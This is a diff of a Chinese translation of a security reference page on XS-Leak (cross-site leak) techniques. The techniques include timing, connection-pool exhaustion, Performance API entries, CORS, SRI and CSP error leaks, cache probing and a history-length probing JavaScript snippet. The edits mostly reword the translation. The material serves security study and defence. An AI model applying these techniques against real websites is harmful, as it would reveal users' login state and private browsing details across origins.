 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** 测量网络操作执行时间的一种方法是故意阻塞线程的事件循环，然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入阻塞操作（例如长时间计算或同步 API 调用），并监控后续代码开始执行所需的时间，可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性，其中任务是顺序执行的，并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
+- **Summary:** 一种测量网络操作执行时间的方法是故意阻塞线程的事件循环，然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入阻塞操作（例如长时间计算或同步 API 调用），并监控后续代码开始执行所需的时间，可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性，其中任务是顺序执行的，并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
 - **Code Example**:
 
-通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的规避**站点隔离**。**站点隔离**是一种安全功能，将不同网站分隔到不同的进程中，旨在防止恶意网站直接访问其他网站的敏感数据。然而，通过通过共享事件循环影响另一个源的执行时机，攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据，而是观察该源活动对共享事件循环的影响，从而规避**站点隔离**建立的保护屏障。
+通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全功能，将不同网站分隔到不同的进程中，旨在防止恶意网站直接访问其他网站的敏感数据。然而，通过通过共享事件循环影响另一个源的执行定时，攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据，而是观察该源活动对共享事件循环的影响，从而规避**站点隔离**建立的保护屏障。
 
 > [!WARNING]
 > 在执行定时中，可以**消除** **网络因素**以获得**更精确的测量**。例如，通过在加载页面之前加载页面使用的资源。
@@ -261,9 +261,9 @@ xs-search/connection-pool-example.md
 浏览器利用套接字进行服务器通信，但由于操作系统和硬件的资源有限，**浏览器被迫施加限制**，限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制：
 
 1. 确定浏览器的套接字限制，例如，256 个全局套接字。
-2. 通过向不同主机发起 255 个请求，长时间占用 255 个套接字，旨在保持连接打开而不完成。
+2. 通过向不同主机发起 255 个请求，长时间占用 255 个套接字，旨在保持连接开放而不完成。
 3. 使用第 256 个套接字向目标页面发送请求。
-4. 尝试向另一个主机发起第 257 个请求。由于所有套接字都在使用中（根据步骤 2 和 3），此请求将被排队，直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字（目标页面的套接字）相关的网络活动的定时信息。这种推断是可能的，因为步骤 2 中的 255 个套接字仍在使用，这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求目标页面完成所需的时间相关联。
+4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中（根据步骤 2 和 3），此请求将被排队，直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字（目标页面的套接字）相关的网络活动的定时信息。这种推断是可能的，因为步骤 2 中的 255 个套接字仍在使用，这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求完成所需的时间相关联。
 
 有关更多信息：[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -272,15 +272,15 @@ xs-search/connection-pool-example.md
 - **Inclusion Methods**: JavaScript Requests
 - **Detectable Difference**: 定时（通常由于页面内容、状态码）
 - **More info**:
-- **Summary:** 这与前一种技术类似，但 Google **Chrome** 对**同一源的并发请求**限制为**6 个**。如果我们**阻塞 5 个**，然后**发起第 6 个**请求，我们可以**计时**，如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**，第 **6 个请求**将需要**更长时间**，我们可以检测到它。
+- **Summary:** 这与前一种技术类似，但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5**，然后**发起第 6 个**请求，我们可以**计时**，如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测**页面**的**状态**，第 **6 个请求**将需要**更长时间**，我们可以检测到。
 
 ## Performance API Techniques
 
 [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察，进一步通过 [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能，例如请求的持续时间。值得注意的是，当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时，诸如传输大小和域查找时间等附加数据将变得可用。
 
-通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法，可以检索到这一丰富的数据，提供全面的性能相关信息。此外，API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而，值得注意的是，对于 Chrome 等浏览器中的某些操作，`performance.now()` 的精度可能仅限于毫秒，这可能会影响定时测量的粒度。
+这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索，提供全面的性能相关信息。此外，API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而，值得注意的是，对于 Chrome 等浏览器中的某些操作，`performance.now()` 的精度可能仅限于毫秒，这可能会影响定时测量的粒度。
 
-除了定时测量外，Performance API 还可以用于安全相关的洞察。例如，Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说，如果由于 `X-Frame-Options` 阻止页面在框架中呈现，则该页面不会记录在 `performance` 对象中，从而提供有关页面框架策略的微妙线索。
+除了定时测量外，性能 API 还可以用于安全相关的洞察。例如，Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言，如果由于 `X-Frame-Options` 阻止页面在框架中呈现，则该页面将不会记录在 `performance` 对象中，从而提供有关页面框架策略的微妙线索。
 
 ### Error Leak
 
@@ -300,7 +300,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 由于浏览器错误，导致错误的请求被加载两次。
 - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-在前一种技术中，还识别出浏览器中的 GC 错误导致**资源在加载失败时被加载两次**的两种情况。这将导致 Performance API 中的多个条目，因此可以被检测到。
+在前一种技术中，还识别出浏览器中的两个错误情况，导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目，因此可以被检测到。
 
 ### Request Merging Error
 
@@ -320,7 +320,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 空响应不会创建资源计时条目。
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
-攻击者可以检测请求是否导致空的 HTTP 响应体，因为**空页面在某些浏览器中不会创建性能条目**。
+攻击者可以检测请求是否导致空 HTTP 响应体，因为**空页面在某些浏览器中不会创建性能条目**。
 
 ### **XSS-Auditor Leak**
 
@@ -330,7 +330,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 在安全声明中使用 XSS 审计器，攻击者可以通过观察在构造有效负载触发审计器过滤机制时响应的变化来检测特定网页元素。
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-在安全声明 (SA) 中，XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击，但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除，但在 SA 中仍然存在。2013 年，Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本，导致误报。在此基础上，研究人员开发了提取信息和检测跨源页面特定内容的技术，这一概念被称为 XS-Leaks，最初由 Terada 报告，并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器，但发现 SA 中被 XSS 审计器阻止的页面不会在 Performance API 中生成条目，从而揭示了一种可能仍然泄露敏感信息的方法。
+在安全声明 (SA) 中，XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击，但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除，但在 SA 中仍然存在。2013 年，Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本，导致误报。在此基础上，研究人员开发了提取信息和检测跨源页面特定内容的技术，这一概念被称为 XS-Leaks，最初由 Terada 报告，并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器，但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目，从而揭示了一种可能仍然泄露敏感信息的方法。
 
 ### X-Frame Leak
 
@@ -348,7 +348,7 @@ xs-search/connection-pool-example.md
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: 头部
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** 下载不会在 Performance API 中创建资源计时条目。
+- **Summary:** 下载不会在性能 API 中创建资源计时条目。
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
 与描述的 XS-Leak 类似，由于 ContentDisposition 头，**下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
@@ -361,7 +361,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 资源计时条目泄露重定向的开始时间。
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-我们发现一个 XS-Leak 实例，利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而，在**SA**中，可以通过查询**Performance API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
+我们发现一个 XS-Leak 实例，利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而，在**SA**中，可以通过查询**性能 API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
 
 ### Duration Redirect Leak
 
@@ -381,7 +381,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 受 CORP 保护的资源不会创建资源计时条目。
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
-在某些情况下，**nextHopProtocol 条目**可以用作泄露技术。在 GC 中，当设置**CORP 头**时，nextHopProtocol 将是**空**的。请注意，SA 对于启用 CORP 的资源根本不会创建性能条目。
+在某些情况下，**nextHopProtocol 条目**可以用作泄露技术。在 GC 中，当设置**CORP 头**时，nextHopProtocol 将是**空的**。请注意，SA 对于启用 CORP 的资源根本不会创建性能条目。
 
 ### Service Worker
 
@@ -392,8 +392,8 @@ xs-search/connection-pool-example.md
 - **Code Example**:
 
 服务工作者是事件驱动的脚本上下文，在一个源上运行。它们在网页的后台运行，可以拦截、修改和**缓存资源**以创建离线 Web 应用程序。\
-如果通过**iframe**访问**服务工作者**缓存的**资源**，该资源将从**服务工作者缓存**中**加载**。\
-要检测资源是否**从服务工作者**缓存中加载，可以使用**Performance API**。\
+如果通过**iframe**访问**服务工作者**缓存的**资源**，则该资源将从**服务工作者缓存**中**加载**。\
+要检测资源是否从**服务工作者**缓存中加载，可以使用**性能 API**。\
 这也可以通过定时攻击来完成（有关更多信息，请查看论文）。
 
 ### Cache
@@ -404,7 +404,7 @@ xs-search/connection-pool-example.md
 - **Summary:** 可以检查资源是否存储在缓存中。
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-使用 [Performance API](xs-search.md#performance-api) 可以检查资源是否被缓存。
+使用 [性能 API](xs-search.md#performance-api) 可以检查资源是否被缓存。
 
 ### Network Duration
 
@@ -480,7 +480,7 @@ audioElement.onerror = errHandler
 - **总结:** 在安全声明 (SA) 中，CORS 错误消息无意中暴露了重定向请求的完整 URL。
 - **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言，当向目标站点发送一个**启用 CORS 的请求**，该站点根据用户状态发出重定向，而浏览器随后拒绝该请求时，**重定向目标的完整 URL**会在错误消息中披露。此漏洞不仅揭示了重定向的事实，还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
+此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言，当向目标站点发送一个**启用 CORS 的请求**，该站点根据用户状态发出重定向，而浏览器随后拒绝该请求时，**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实，还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
 
 ### SRI 错误
 
@@ -490,7 +490,7 @@ audioElement.onerror = errHandler
 - **总结:** 在安全声明 (SA) 中，CORS 错误消息无意中暴露了重定向请求的完整 URL。
 - **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制，该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作，这些资源必须是**启用 CORS 的**；否则，它们不受完整性检查。在安全声明 (SA) 中，类似于 CORS 错误 XS-Leak，当带有完整性属性的 fetch 请求失败时，可以捕获错误消息。攻击者可以故意**触发此错误**，通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中，结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够辨别响应大小的变化，为复杂的 XS-Leak 攻击铺平了道路。
+攻击者可以利用**详细的错误消息**来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制，该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作，这些资源必须是**启用 CORS 的**；否则，它们不受完整性检查。在安全声明 (SA) 中，类似于 CORS 错误 XS-Leak，当带有完整性属性的 fetch 请求失败时，可以捕获错误消息。攻击者可以故意**触发此错误**，通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中，结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够辨别响应大小的变化，为复杂的 XS-Leak 攻击铺平了道路。
 
 ### CSP 违规/检测
 
@@ -500,8 +500,8 @@ audioElement.onerror = errHandler
 - **总结:** 如果我们访问的受害者网站尝试重定向到不同的域，CSP 将触发可检测的错误。
 - **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
-XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向，但此外，重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求，它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同，**此报告可能泄漏重定向的目标位置**。\
-现代浏览器不会指示重定向到的 URL，但您仍然可以检测到跨源重定向已被触发。
+XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向，但此外，重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求，它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同，**此报告可能泄漏重定向的目标位置**。\
+现代浏览器不会指示重定向到的 URL，但仍然可以检测到触发了跨源重定向。
 
 ### 缓存
 
@@ -513,7 +513,7 @@ XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此
 
 浏览器可能为所有网站使用一个共享缓存。无论其来源如何，都可以推断目标页面是否**请求了特定文件**。
 
-如果一个页面仅在用户登录时加载图像，您可以**使资源失效**（以便如果它被缓存则不再缓存，更多信息链接），**执行一个请求**，该请求可能加载该资源，并尝试使用**错误请求**（例如，使用过长的 referer 头）加载该资源。如果资源加载**没有触发任何错误**，则是因为它被**缓存**。
+如果一个页面仅在用户登录时加载图像，您可以**使资源失效**（以便如果它被缓存则不再缓存，更多信息链接），**执行一个请求**，该请求可能加载该资源，并尝试使用**错误请求**加载该资源（例如，使用过长的 referer 头）。如果资源加载**没有触发任何错误**，则是因为它被**缓存**。
 
 ### CSP 指令
 
@@ -523,7 +523,7 @@ XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此
 - **总结:** CSP 头指令可以通过 CSP iframe 属性进行探测，揭示策略细节。
 - **代码示例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
-Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**，并将策略指令与 HTTP 请求一起传输。通常，嵌入的内容必须**通过 HTTP 头进行授权**，否则将显示**错误页面**。然而，如果 iframe 已经受到 CSP 的管理，并且新提议的策略不更严格，则页面将正常加载。此机制为攻击者打开了一条路径，通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复，但我们的发现揭示了一种**新的泄漏技术**，能够检测错误页面，表明根本问题从未完全解决。
+Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**，并将策略指令与 HTTP 请求一起传输。通常，嵌入的内容必须**通过 HTTP 头进行授权**，否则将显示**错误页面**。然而，如果 iframe 已经受到 CSP 的管理，并且新提议的策略不更严格，则页面将正常加载。此机制为攻击者提供了一条路径，通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复，但我们的发现揭示了一种**新的泄漏技术**，能够检测错误页面，表明根本问题从未完全解决。
 
 ### **CORP**
 
@@ -553,8 +553,8 @@ CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止
 - **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射，则可以检查资源是否已经在缓存中。
 - **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**，攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**，则意味着它是**正确地从网络获取的**；如果触发了错误，则是因为它是**从缓存中访问的**（错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应）。\
-请注意，如果原始域没有被反射，但使用了通配符（`Access-Control-Allow-Origin: *`），则此方法将无效。
+如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**，攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果没有触发**错误**，则意味着它是**正确地从网络获取的**；如果触发了错误，则是因为它是**从缓存中访问的**（错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应）。\
+请注意，如果原始域没有被反射，但使用了通配符 (`Access-Control-Allow-Origin: *`)，则此方法将无效。
 
 ## 可读属性技术
 
@@ -563,7 +563,7 @@ CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止
 - **包含方法**: Fetch API
 - **可检测差异**: 状态码
 - **更多信息**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
-- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型（opaque-redirect）。
+- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型 (opaque-redirect)。
 - **代码示例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
 
 使用 Fetch API 提交请求时，设置 `redirect: "manual"` 和其他参数，可以读取 `response.type` 属性，如果它等于 `opaqueredirect`，则响应是一个重定向。
@@ -576,7 +576,7 @@ CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止
 - **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
 - **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下，**`opener` 属性**成为一个明显的指示器：当 COOP 活动时，它是**未定义的**，而在没有 COOP 的情况下则是**定义的**。
+攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下，**`opener` 属性**成为一个明显的指示器：当 COOP 活动时，它是**未定义的**，而在没有 COOP 的情况下是**定义的**。
 
 ### URL 最大长度 - 服务器端
 
@@ -586,9 +586,9 @@ CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止
 - **总结:** 检测响应中的差异，因为重定向响应长度可能过大，服务器会回复错误并生成警报。
 - **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
-如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为，因为通常**服务器**有一个**请求长度限制**。如果**用户数据**的长度是**长度 - 1**，因为**重定向**使用了**该数据**并**添加**了一些**额外**内容，它将触发一个**可通过错误事件检测到的错误**。
+如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为，因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**，因为**重定向**使用了**该数据**并**添加**了一些**额外内容**，则会触发一个**可通过错误事件检测到的错误**。
 
-如果您可以以某种方式将 cookies 设置给用户，您还可以通过**设置足够的 cookies**（[**cookie bomb**](hacking-with-cookies/cookie-bomb.md)）来执行此攻击，因此**正确响应**的**响应大小**增加时会触发一个**错误**。在这种情况下，请记住，如果您从同一站点触发此请求，`<script>` 将自动发送 cookies（因此您可以检查错误）。\
+如果您可以以某种方式将 cookies 设置给用户，您还可以通过**设置足够的 cookies**（[**cookie bomb**](hacking-with-cookies/cookie-bomb.md)）来执行此攻击，因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下，请记住，如果您从同一站点触发此请求，`<script>` 将自动发送 cookies（因此您可以检查错误）。\
 关于**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` 或处于相同上下文通常是此类攻击所需的。
@@ -605,9 +605,9 @@ CORP 头是一个相对较新的网络平台安全特性，当设置时**阻止
 
 > 一般来说，_web 平台_ 对 URL 的长度没有限制（尽管 2^31 是一个常见限制）。_Chrome_ 将 URL 限制为最大长度 **2MB**，出于实际原因并避免在进程间通信中造成拒绝服务问题。
 
-因此，如果**重定向 URL 在某些情况下响应的大小更大**，则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时，Chrome 会显示一个**`about:blank#blocked`** 页面。
+因此，如果**重定向 URL 的响应在某些情况下更大**，则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时，Chrome 会显示一个**`about:blank#blocked`** 页面。
 
-**显著差异**是，如果**重定向**已**完成**，`window.origin` 会抛出一个**错误**，因为跨源无法访问该信息。然而，如果**限制**被****触发，并且加载的页面是**`about:blank#blocked`**，则窗口的**`origin`** 保持为**父级**的值，这是一个**可访问的信息**。
+**显著差异**是，如果**重定向**已**完成**，`window.origin` 会抛出一个**错误**，因为跨源无法访问该信息。然而，如果**限制**被****触及，并且加载的页面是**`about:blank#blocked`**，则窗口的**`origin`** 保持为**父级**的值，这是一个**可访问的信息**。
 
 所有达到**2MB**所需的额外信息可以通过初始 URL 中的**哈希**添加，以便在重定向中**使用**。
 
@@ -643,7 +643,7 @@ xs-search/url-max-length-client-side.md
 - **总结:** 可以通过历史长度的滥用来猜测框架/弹出窗口的位置是否在特定 URL 中。
 - **代码示例**: 以下
 
-攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**，并**立即**将其**更改为 `about:blank`**。如果历史长度增加，则意味着 URL 是正确的，并且有时间**增加，因为如果 URL 相同则不会重新加载**。如果没有增加，则意味着它**尝试加载猜测的 URL**，但因为我们**立即之后**加载了**`about:blank`**，所以在加载猜测的 URL 时**历史长度从未增加**。
+攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**，并**立即**将其**更改为 `about:blank`**。如果历史长度增加，则意味着 URL 是正确的，并且有时间**增加，因为如果 URL 相同则不会重新加载**。如果没有增加，则意味着它**尝试加载猜测的 URL**，但因为我们**立即之后**加载了**`about:blank`**，所以**历史长度在加载猜测的 URL 时从未增加**。
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -666,11 +666,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
 - **Inclusion Methods**: Frames, Pop-ups
 - **Detectable Difference**: 页面内容
 - **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
-- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
+- **Summary:** 通过检查 `window.length` 属性来评估 iframe 元素的数量。
 - **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
 
 计算通过 `iframe` 或 `window.open` 打开的 **网页中的帧数** 可能有助于识别 **用户在该页面上的状态**。\
-此外，如果页面始终具有相同数量的帧，**持续** 检查帧数可能有助于识别可能泄露信息的 **模式**。
+此外，如果页面始终具有相同数量的帧，**持续** 检查帧的数量可能有助于识别可能泄露信息的 **模式**。
 
 这种技术的一个例子是，在 Chrome 中，**PDF** 可以通过 **帧计数** 被 **检测**，因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制，例如 `zoom`、`view`、`page`、`toolbar`，在这种情况下，这种技术可能会很有趣。
 
@@ -682,14 +682,14 @@ console.log(await debug(win, "https://example.com/?a=b"))
 - **Summary:** 读取泄露的值以区分两种可能的状态
 - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-通过 HTML 元素的信息泄露是网络安全中的一个问题，特别是当动态媒体文件基于用户信息生成时，或者当添加水印时，改变媒体大小。这可以被攻击者利用，通过分析某些 HTML 元素暴露的信息来区分可能的状态。
+通过 HTML 元素的信息泄露是网络安全中的一个问题，特别是当动态媒体文件基于用户信息生成时，或者当添加水印时，改变了媒体大小。攻击者可以利用这一点，通过分析某些 HTML 元素暴露的信息来区分可能的状态。
 
 ### Information Exposed by HTML Elements
 
-- **HTMLMediaElement**: 该元素揭示媒体的 `duration` 和 `buffered` 时间，可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中，额外的属性如 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 可用，提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
-- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息，包括 `totalVideoFrames`，这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: 该元素泄露图像的 `height` 和 `width`。但是，如果图像无效，这些属性将返回 0，并且 `image.decode()` 函数将被拒绝，指示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLMediaElement**: 该元素揭示了媒体的 `duration` 和 `buffered` 时间，可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
